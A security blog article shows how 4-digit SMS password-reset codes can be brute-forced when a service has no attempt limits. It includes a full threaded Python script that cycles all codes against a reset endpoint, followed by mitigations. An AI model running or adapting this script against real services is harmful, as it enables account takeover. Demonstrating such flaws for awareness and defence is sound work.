Password Recovery SMS Verification Code Security Issue
Demonstrating the severity of brute force attacks using Python
Photo by Matt Artz
Introduction
This article doesn’t contain much technical content in terms of information security. It was simply a sudden idea I had while using a certain platform’s website; I decided to test its security and discovered some issues.
When using the password recovery feature on websites or apps, there are generally two options. One is to enter your account or email, and then a link to a password reset page containing a token will be sent to your email. Clicking the link will open the page where you can reset your password. This part is generally secure unless, as mentioned in this previous article, there are design flaws.
The other method for password recovery is to enter the bound phone number (mostly used in app services), and then an SMS verification code will be sent to your phone. After entering the verification code, you can reset your password. For convenience, most services use purely numeric codes. Additionally, since iOS ≥ 11 introduced the Password AutoFill feature, the keyboard will automatically recognize and prompt the verification code when the phone receives it.
According to the official documentation, Apple has not provided specific rules for the format of automatically filled verification codes. However, I noticed that almost all services supporting auto-fill use purely numeric codes, suggesting that only numbers can be used, not a complex combination of numbers and letters.
Issue
Numeric passwords are susceptible to brute force attacks, especially 4-digit passwords. There are only 10,000 combinations from 0000 to 9999. Using multiple threads and machines, brute force attacks can be divided and executed.
Assuming a verification request takes 0.1 seconds to respond, 10,000 combinations = 10,000 requests
1
Time required to crack: ((10,000 * 0.1) / number of threads) seconds
Even without using threads, it would take just over 16 minutes to find the correct SMS verification code.
In addition to insufficient password length and complexity, other issues include the lack of a limit on verification attempts and excessively long validity periods.
Combination
Combining the above points, this security issue is common in app environments. Web services often add CAPTCHA verification after multiple failed attempts or require additional security questions when requesting a password reset, increasing the difficulty of sending verification requests. Additionally, if web service verification is not separated between the front and back ends, each verification request would require loading the entire webpage, extending the response time.
In app environments, the password reset process is often simplified for user convenience. Some apps even allow login through phone number verification alone. If the API lacks protection, it can lead to security vulnerabilities.
Implementation
⚠️Warning⚠️ This article is only intended to demonstrate the severity of this security issue. Do not use this information for malicious purposes.
Sniffing Verification Request API
Everything starts with sniffing. For this part, you can refer to previous articles “ The app uses HTTPS, but data is still stolen. “ and “ Using Python+Google Cloud Platform+Line Bot to automate routine tasks “. For the principles, refer to the first article, and for practical implementation, it is recommended to use Proxyman as mentioned in the second article.
If it is a front-end and back-end separated website service, you can use Chrome -> Inspect -> Network -> See what request was sent after submitting the verification code.
Assuming the verification code request obtained is:
1
POST https://zhgchg.li/findPWD
Response:
1
2
3
4
{
"status": false,
"msg": "Verification error"
}
Writing a brute force Python script
crack.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import random
import requests
import json
import threading
phone = "0911111111"
found = False
def crack(start, end):
global found
for code in range(start, end):
if found:
break
stringCode = str(code).zfill(4)
data = {
"phone" : phone,
"code": stringCode
}
headers = {}
try:
request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
result = json.loads(request.content)
if result["status"] == True:
print("Code is:" + stringCode)
found = True
break
else:
print("Code " + stringCode + " is wrong.")
except Exception as e:
print("Code "+ stringCode +" exception error (" + str(e) + ")")
def main():
codeGroups = [
[0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
[5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
]
for codeGroup in codeGroups:
t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
t.start()
main()
After running the script, we get:
1
Verification code is: 1743
Enter 1743
to reset the password or directly log in to the account.
Bigo!
Solutions
- Add more information verification for password reset (e.g., birthday, security questions)
- Increase the length of the verification code (e.g., Apple 6-digit code), increase the complexity of the verification code (if it does not affect AutoFill functionality)
- Invalidate the verification code after more than 3 incorrect attempts, requiring the user to resend the verification code
- Shorten the validity period of the verification code
- Lock the device after too many incorrect attempts, add graphical verification codes
- Implement SSL Pinning in the APP, encrypt and decrypt transmissions (to prevent sniffing)
Further Reading
- Revealing a Clever Website Vulnerability Discovered Years Ago
- How to Create an Interesting Engineering CTF Competition
- The APP Uses HTTPS Transmission, But the Data Was Still Stolen
- Automate Routine Tasks Using Python + Google Cloud Platform + Line Bot
If you have any questions or suggestions, feel free to contact me.
===
===
This article was first published in Traditional Chinese on Medium ➡️ View Here